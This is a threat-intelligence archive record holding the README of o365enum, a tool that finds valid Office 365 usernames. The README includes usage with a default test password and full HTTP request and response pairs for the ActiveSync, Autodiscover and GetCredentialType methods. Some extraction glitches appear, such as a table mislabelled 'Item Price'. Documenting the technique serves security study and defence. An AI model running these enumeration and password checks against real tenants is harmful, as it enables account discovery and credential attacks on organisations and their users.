{
	"id": "52c78344-fdc2-42ea-8307-77f39b2fa26c",
	"created_at": "2026-04-06T00:08:54.106564Z",
	"updated_at": "2026-04-10T13:11:47.56949Z",
	"deleted_at": null,
	"sha1_hash": "d1a9a22ac9608506adafaceb8275120161d918e7",
	"title": "GitHub - gremwell/o365enum: Enumerate valid usernames from Office 365 using ActiveSync, Autodiscover v1, or office.com login page.",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 89696,
	"plain_text": "GitHub - gremwell/o365enum: Enumerate valid usernames from\r\nOffice 365 using ActiveSync, Autodiscover v1, or office.com login\r\npage.\r\nBy abbbe\r\nArchived: 2026-04-05 12:37:13 UTC\r\nOffice 365 User Enumeration\r\nEnumerate valid usernames from Office 365 using ActiveSync, Autodiscover, or office.com login page.\r\nUsage\r\no365enum will read usernames from the file provided as first parameter. The file should have one username per\r\nline. The output is CSV-based for easier parsing. Valid status can be 0 (invalid user), 1 (valid user), 2 (valid user\r\nand valid password).\r\npython3.6 o365enum.py -h\r\nusage: o365enum.py [-h] -u USERLIST [-p PASSWORD] [-n NUM] [-v]\r\n [-m {activesync,autodiscover,office.com}]\r\nOffice365 User Enumeration Script\r\noptional arguments:\r\n -h, --help show this help message and exit\r\n -u USERLIST, --userlist USERLIST\r\n username list one per line (default: None)\r\n -p PASSWORD, --password PASSWORD\r\n password to try (default: Password1)\r\n -n NUM, --num NUM # of reattempts to remove false negatives (default: 3)\r\n -v, --verbose Enable verbose output at urllib level (default: False)\r\n -m {activesync,autodiscover,office.com}, --method {activesync,autodiscover,office.com}\r\n method to use (default: activesync)\r\nExample run:\r\n./o365enum.py -u users.txt -p Password2 -n 1 -m activesync\r\nusername,valid\r\nnonexistent@contoso.com,0\r\nexisting@contoso.com,1\r\nhttps://github.com/gremwell/o365enum\r\nPage 1 of 9\n\nEnumeration Methods\r\nActiveSync Enumeration\r\nThis method is based on grimhacker's method that sends Basic HTTP authentication requests to ActiveSync\r\nendpoint. However, checking the status code no longer works given that Office365 returns a 401 whether the\r\nuser exists or not.\r\nInstead, we send the same request but check for a custom HTTP response header ( X-MailboxGuid ) presence to\r\nidentify whether a username is valid or not.\r\nExisting Account\r\nThe request below contains the following Base64 encoded credentials in the Authorization header:\r\nvalid_user@contoso.com:Password1\r\nOPTIONS /Microsoft-Server-ActiveSync HTTP/1.1\r\nHost: outlook.office365.com\r\nConnection: close\r\nMS-ASProtocolVersion: 14.0\r\nContent-Length: 0\r\nAuthorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=\r\nThis elicits the following response (\"401 Unauthorized\") with the X-MailboxGuid header set, indicating that the\r\nusername is valid but the password is not:\r\nDate: Fri, 31 Jan 2020 13:02:46 GMT\r\nConnection: close\r\nHTTP/1.1 401 Unauthorized\r\nContent-Length: 1293\r\nContent-Type: text/html\r\nServer: Microsoft-IIS/10.0\r\nrequest-id: d494a4bc-3867-436a-93ef-737f9e0522eb\r\nX-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com\r\nX-BackEndHttpStatus: 401\r\nX-RUM-Validated: 1\r\nX-MailboxGuid: aadaf467-cd08-4a23-909b-9702eca5b845 \u003c--- This header leaks the account status (existing)\r\nX-DiagInfo: AM0PR09MB2882\r\nX-BEServer: AM0PR09MB2882\r\nX-Proxy-RoutingCorrectness: 1\r\nX-Proxy-BackendServerStatus: 401\r\nX-Powered-By: ASP.NET\r\nX-FEServer: AM0PR06CA0096\r\nWWW-Authenticate: Basic Realm=\"\",Negotiate\r\nDate: Fri, 31 Jan 2020 13:02:46 GMT\r\nhttps://github.com/gremwell/o365enum\r\nPage 2 of 9\n\nConnection: close\r\n--snip--\r\nNonexistent Account\r\nThe request below contains the following Base64 encoded credentials in the Authorization header:\r\ninvalid_user@contoso.com:Password1\r\nOPTIONS /Microsoft-Server-ActiveSync HTTP/1.1\r\nHost: outlook.office365.com\r\nConnection: close\r\nMS-ASProtocolVersion: 14.0\r\nContent-Length: 2\r\nAuthorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==\r\nThis elicits the following response (\"401 Unauthorized\" but this time without the X-MailboxGuid header,\r\nindicating the username is invalid.\r\nHTTP/1.1 401 Unauthorized\r\nContent-Length: 1293\r\nContent-Type: text/html\r\nServer: Microsoft-IIS/10.0\r\nrequest-id: 2944dbfc-8a1e-4759-a8a2-e4568950601d\r\nX-CalculatedFETarget: DB3PR0102CU001.internal.outlook.com\r\nX-BackEndHttpStatus: 401\r\nWWW-Authenticate: Basic Realm=\"\",Negotiate\r\nX-FEProxyInfo: DB3PR0102CA0017.EURPRD01.PROD.EXCHANGELABS.COM\r\nX-CalculatedBETarget: DB7PR04MB5452.eurprd04.prod.outlook.com\r\nX-BackEndHttpStatus: 401\r\nX-RUM-Validated: 1\r\nX-DiagInfo: DB7PR04MB5452\r\nX-BEServer: DB7PR04MB5452\r\nX-Proxy-RoutingCorrectness: 1\r\nX-Proxy-BackendServerStatus: 401\r\nX-FEServer: DB3PR0102CA0017\r\nX-Powered-By: ASP.NET\r\nX-FEServer: AM0PR04CA0024\r\nDate: Fri, 31 Jan 2020 16:19:11 GMT\r\nConnection: close\r\n--snip--\r\nAutodiscover Enumeration\r\nhttps://github.com/gremwell/o365enum\r\nPage 3 of 9\n\nThe autodiscover endpoint allows for user enumeration without an authentication attempt. The endpoint returns a\r\n200 status code if the user exists and a 302 if the user does not exists (unless the redirection is made to an on-premise Exchange server).\r\nExisting User\r\nGET /autodiscover/autodiscover.json/v1.0/existing@contoso.com?Protocol=Autodiscoverv1 HTTP/1.1\r\nHost: outlook.office365.com\r\nUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: close\r\nMS-ASProtocolVersion: 14.0\r\nHTTP/1.1 200 OK\r\nCache-Control: private\r\nContent-Length: 97\r\nContent-Type: application/json; charset=utf-8\r\nVary: Accept-Encoding\r\nServer: Microsoft-IIS/10.0\r\nrequest-id: fee7f899-7115-43da-9d34-d3ee19920a89\r\nX-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com\r\nX-BackEndHttpStatus: 200\r\nX-RUM-Validated: 1\r\nX-AspNet-Version: 4.0.30319\r\nX-DiagInfo: AM0PR09MB2882\r\nX-BEServer: AM0PR09MB2882\r\nX-Proxy-RoutingCorrectness: 1\r\nX-Proxy-BackendServerStatus: 200\r\nX-Powered-By: ASP.NET\r\nX-FEServer: AM0PR0202CA0008\r\nDate: Mon, 02 Mar 2020 12:50:48 GMT\r\nConnection: close\r\n{\"Protocol\":\"Autodiscoverv1\",\"Url\":\"https://outlook.office365.com/autodiscover/autodiscover.xml\"}\r\nNonexistent User\r\nGET /autodiscover/autodiscover.json/v1.0/nonexistent@contoso.com?Protocol=Autodiscoverv1 HTTP/1.1\r\nHost: outlook.office365.com\r\nUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nhttps://github.com/gremwell/o365enum\r\nPage 4 of 9\n\n---\ntitle: Object moved\n---\nConnection: close\nMS-ASProtocolVersion: 14.0\nHTTP/1.1 302 Found\nCache-Control: private\nContent-Length: 277\nContent-Type: text/html; charset=utf-8\nLocation: https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com\u0026Protocol=\nServer: Microsoft-IIS/10.0\nrequest-id: 1c50adeb-53ac-41b9-9c34-7045cffbae45\nX-CalculatedBETarget: DB6PR0202MB2568.eurprd02.prod.outlook.com\nX-BackEndHttpStatus: 302\nX-RUM-Validated: 1\nX-AspNet-Version: 4.0.30319\nX-DiagInfo: DB6PR0202MB2568\nX-BEServer: DB6PR0202MB2568\nX-Proxy-RoutingCorrectness: 1\nX-Proxy-BackendServerStatus: 302\nX-Powered-By: ASP.NET\nX-FEServer: AM0PR0202CA0013\nDate: Mon, 02 Mar 2020 12:50:50 GMT\nConnection: close\n\n## Object moved to\n\nItem Price\r\n-1 An unknown error\r\n0 The account exists, and uses that domain for authentication\r\n1 The account doesn’t exist\r\n2 The response is being throttled\r\n4 Some server error\r\n5\r\nThe account exists, but is set up to authenticate with a different identity provider. This could indicate\r\nthe account is only used as a personal account\r\n6 The account exists, and is set up to use both the domain and a different identity provider\r\nExisting User\r\nWhen the account exists, IfExistsResult is set to one of the integers mentioned above, commonly 1 .\r\nPOST /common/GetCredentialType?mkt=en-US HTTP/1.1\r\nHost: login.microsoftonline.com\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/53\r\nAccept: application/json\r\nConnection: close\r\nclient-request-id: 4345a7b9-9a63-4910-a426-35363201d503\r\nhpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100\r\nReferer: https://login.microsoftonline.com/common/oauth2/authorize\r\ncanary: --snip--\r\nhpgact: 1800\r\nhpgid: 1104\r\nOrigin: https://login.microsoftonline.com\r\nCookie: --snip--\r\nContent-Length: 1255\r\nContent-Type: application/json\r\n{\r\n \"checkPhones\": false,\r\n \"isOtherIdpSupported\": true,\r\n \"isRemoteNGCSupported\": true,\r\n \"federationFlags\": 0,\r\n \"isCookieBannerShown\": false,\r\n \"isRemoteConnectSupported\": false,\r\n \"isSignup\": false,\r\n \"originalRequest\": \"rQIIA--snip--YWSO2\",\r\n \"isAccessPassSupported\": true,\r\nhttps://github.com/gremwell/o365enum\r\nPage 6 of 9\n\n\"isFidoSupported\": false,\r\n \"isExternalFederationDisallowed\": false,\r\n \"username\": \"existing@contoso.com\",\r\n \"forceotclogin\": false\r\n}\r\nHTTP/1.1 200 OK\r\nCache-Control: no-cache, no-store\r\nPragma: no-cache\r\nContent-Type: application/json; charset=utf-8\r\nExpires: -1\r\nStrict-Transport-Security: max-age=31536000; includeSubDomains\r\nX-Content-Type-Options: nosniff\r\nclient-request-id: 177110da-7ce4-4880-b856-be6326078046\r\nx-ms-request-id: c708b83f-4167-4b4c-a1db-d2011ecb3200\r\nx-ms-ests-server: 2.1.9966.8 - AMS2 ProdSlices\r\nReferrer-Policy: strict-origin-when-cross-origin\r\nP3P: CP=\"DSP CUR OTPi IND OTRi ONL FIN\"\r\nSet-Cookie: fpc=ArU-Dva0f59Eg4t_V3VsX_TsYIXWAQAAAFRGxtUOAAAA; expires=Sun, 01-Mar-2020 16:01:26 GMT; path=/; sec\r\nSet-Cookie: x-ms-gateway-slice=prod; path=/; SameSite=None; secure; HttpOnly\r\nSet-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None\r\nDate: Fri, 31 Jan 2020 16:01:26 GMT\r\nConnection: close\r\nContent-Length: 587\r\n{\r\n \"Username\":\"existing@contoso.com\",\r\n \"Display\":\"existing@contoso.com\",\r\n \"IfExistsResult\":0,\r\n \"ThrottleStatus\":0,\r\n \"Credentials\":{\r\n \"PrefCredential\":1,\r\n \"HasPassword\":true,\r\n \"RemoteNgcParams\":null,\r\n \"FidoParams\":null,\r\n \"SasParams\":null\r\n },\r\n \"EstsProperties\":{\r\n \"UserTenantBranding\":null,\r\n \"DomainType\":3\r\n },\r\n \"IsSignupDisallowed\":true,\r\n \"apiCanary\":\"--snip--\"\r\n}\r\nNonexistent User\r\nhttps://github.com/gremwell/o365enum\r\nPage 7 of 9\n\nWhen the account does not exist, IfExistsResult is set to 1.\r\nPOST /common/GetCredentialType?mkt=en-US HTTP/1.1\r\nHost: login.microsoftonline.com\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/53\r\nAccept: application/json\r\nConnection: close\r\nclient-request-id: 4345a7b9-9a63-4910-a426-35363201d503\r\nhpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100\r\nReferer: https://login.microsoftonline.com/common/oauth2/authorize\r\ncanary: --snip--\r\nhpgact: 1800\r\nhpgid: 1104\r\nOrigin: https://login.microsoftonline.com\r\nCookie: --snip--\r\nContent-Length: 1255\r\nContent-Type: application/json\r\n{\r\n \"checkPhones\": false,\r\n \"isOtherIdpSupported\": true,\r\n \"isRemoteNGCSupported\": true,\r\n \"federationFlags\": 0,\r\n \"isCookieBannerShown\": false,\r\n \"isRemoteConnectSupported\": false,\r\n \"isSignup\": false,\r\n \"originalRequest\": \"rQIIA--snip--YWSO2\",\r\n \"isAccessPassSupported\": true,\r\n \"isFidoSupported\": false,\r\n \"isExternalFederationDisallowed\": false,\r\n \"username\": \"nonexistent@contoso.com\",\r\n \"forceotclogin\": false\r\n}\r\nHTTP/1.1 200 OK\r\nCache-Control: no-cache, no-store\r\nPragma: no-cache\r\nContent-Type: application/json; charset=utf-8\r\nExpires: -1\r\nStrict-Transport-Security: max-age=31536000; includeSubDomains\r\nX-Content-Type-Options: nosniff\r\nclient-request-id: 95bba645-c3b0-4566-b0f4-237bd3df2ca7\r\nx-ms-request-id: fea01b74-7a60-4142-a54d-7aa8f6471c00\r\nx-ms-ests-server: 2.1.9987.14 - WEULR2 ProdSlices\r\nReferrer-Policy: strict-origin-when-cross-origin\r\nhttps://github.com/gremwell/o365enum\r\nPage 8 of 9\n\nP3P: CP=\"DSP CUR OTPi IND OTRi ONL FIN\"\r\nSet-Cookie: fpc=Ai0TKYuyz3BCp7OL29pUnG7sYIXWAQAAABsDztUOAAAA; expires=Sat, 07-Mar-2020 12:57:44 GMT; path=/; sec\r\nSet-Cookie: x-ms-gateway-slice=estsfd; path=/; SameSite=None; secure; HttpOnly\r\nSet-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None\r\nDate: Thu, 06 Feb 2020 12:57:43 GMT\r\nConnection: close\r\nContent-Length: 579\r\n{\r\n \"ThrottleStatus\": 0,\r\n \"apiCanary\": \"--snip--\",\r\n \"Username\": \"nonexistent@contoso.com\",\r\n \"IfExistsResult\": 1,\r\n \"EstsProperties\": {\r\n \"UserTenantBranding\": null,\r\n \"DomainType\": 3\r\n },\r\n \"Credentials\": {\r\n \"PrefCredential\": 1,\r\n \"FidoParams\": null,\r\n \"RemoteNgcParams\": null,\r\n \"SasParams\": null,\r\n \"HasPassword\": true\r\n },\r\n \"IsSignupDisallowed\": true,\r\n \"Display\": \"nonexistent@contoso.com\"\r\n}\r\nContributors\r\n@jenic - Arguments parsing and false negative reduction.\r\n@Mike-Crowley - IfExistsResult description correction.\r\nSource: https://github.com/gremwell/o365enum\r\nhttps://github.com/gremwell/o365enum\r\nPage 9 of 9",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://github.com/gremwell/o365enum"
	],
	"report_names": [
		"o365enum"
	],
	"threat_actors": [],
	"ts_created_at": 1775434134,
	"ts_updated_at": 1775826707,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/d1a9a22ac9608506adafaceb8275120161d918e7.pdf",
		"text": "https://archive.orkl.eu/d1a9a22ac9608506adafaceb8275120161d918e7.txt",
		"img": "https://archive.orkl.eu/d1a9a22ac9608506adafaceb8275120161d918e7.jpg"
	}
}